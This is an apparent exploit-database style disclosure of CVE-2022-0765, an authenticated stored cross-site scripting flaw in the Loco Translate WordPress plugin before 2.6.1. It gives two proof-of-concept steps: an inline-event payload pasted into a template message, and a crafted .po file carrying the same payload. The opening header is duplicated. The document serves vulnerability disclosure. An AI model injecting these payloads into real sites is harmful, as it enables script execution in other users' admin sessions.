Tittle:
WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting

References:
CVE-2022-0765

Author:
Taurus Omar

Descriptio Tittle:
WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting

References:
CVE-2022-0765

Author:
Taurus Omar

Description:
The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability.

Affects Plugins:
loco-translate - Fixed in version 2.6.1

Proof of Concept:
## POC1: via (edit-template)

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options
3.) Enter Edit Template Any Plugin
4.) Add New Message
5.) Edit Message
6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('xss')>
7.) Save
8.) Replicated


## POC2 via (example.po)

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options Any Plugin
3.) Upload PO options
3.) Load example.po

Example.po

msgid ""
msgstr ""
"Project-Id-Version: xss-tester "
"Report-Msgid-Bugs-To: "
"POT-Creation-Date: 2022-02-25 03:48+0000 "
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE "
"Last-Translator: FULL NAME <EMAIL@ADDRESS> "
"Language-Team: "
"Language: "
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION; "
"MIME-Version: 1.0 "
"Content-Type: text/plain; charset=UTF-8 "
"Content-Transfer-Encoding: 8bit "
"X-Generator: Loco https://localise.biz/ "
"X-Loco-Version: 2.5.8; wp-5.9.1 "
"X-Domain: xss-tester"
msgid "xss-tester"
msgstr ""
msgid "">'><details/open/ontoggle=confirm('XSS')>"
msgstr ""

Classification:
Type XSS
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587